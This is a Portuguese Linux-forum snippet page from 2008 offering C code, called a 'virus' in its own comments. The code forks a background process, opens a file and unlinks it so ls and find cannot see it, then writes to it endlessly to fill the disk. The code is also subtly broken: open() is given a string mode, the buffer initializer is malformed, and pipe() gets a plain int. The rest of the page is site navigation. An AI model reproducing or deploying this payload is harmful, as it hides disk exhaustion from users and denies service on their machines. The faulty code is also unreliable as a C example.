Lota o HD com bagaço
Publicado por Geraldo José Ferreira Chagas Júnior 14/07/2008
[ Hits: 4.939 ]
Homepage: http://prginfo.blogspot.com
Cria um arquivo, mantém aberto e apaga, porém continua enchendo-o de dados. Dessa forma ele fica invisível ao usuário; nem o ls, nem o find poderão encontrá-lo.
/* progacao1.c */ #include <stdio.h> #include <stdlib.h> acao() { int ifd; char *buf=("1","2","3","4","5","6","7","8","9","0"); long c; int desc; close(1); /* fecha a saída padrão, o vídeo */ pipe (desc); /* com a saída padrão fechado, fazemos com que a saída passe a ser o pipe. O descritor dessa nova saida será armazenados em desc */ ifd=open("./lotaHD", "w+",0777); /* abre o arquivo para escrita */ unlink("./lotaHD"); /* apaga o arquivo */ while (1) { write(ifd, buf, sizeof(buf)); /* em um loop infinito grava os dados de buf no arquivo */ printf ("oi\n"); /* precisamos de um tempo para a gravação, é o tempo que se escreve esta string na saída. Por isso usamos o pipe. Não queremos que o vírus fique escrevendo nada no vídeo */ } } main() { int i; i=fork(); /* precisaremos criar um outro processo, pois o vírus terá que continuar sua execução enquanto sua ação é realizada. */ /* Não poderia ser uma thead, pois mesmo que o programa hospedeiro se encerre, o processo tem que continuar */ /* o processo filho que foi criado é quem deve se encarregar da execução da ação, o pai tem que continuar a executar as funcionalidades restantes do vírus */ if (i==0) acao(); }
Teste de desempenho com números primos em C (corrigido)
Decimal, Hexa, Char para Binário
HaiDownlodManager - simples programa para baixar arquivos
Programa que Exibe centro da tela
Nenhum coment�rio foi encontrado.
Comparação entre os escalonadores BFQ e MQ-Deadline (acesso a disco) no Arch e Debian
Conciliando o uso da ZRAM e SWAP em disco na sua máquina
Servidor de Backup com Ubuntu Server 24.04 LTS, RAID e Duplicati (Dell PowerEdge T420)
Visualizar câmeras IP ONVIF no Linux sem necessidade de instalar aplicativos
Converter os repositórios Debian para o novo formato com as chaves
Instalando Spotify no Debian 13
Realizar overclock no Miyoo Mini (plus ou normal)
linux mint reconhece microfone de lapela como fone de ouvido sem micro... (5)
E aí? O Warsaw já está funcionando no Debian 13? (2)
Dúvidas sobre a originalidade de conteúdos online (12)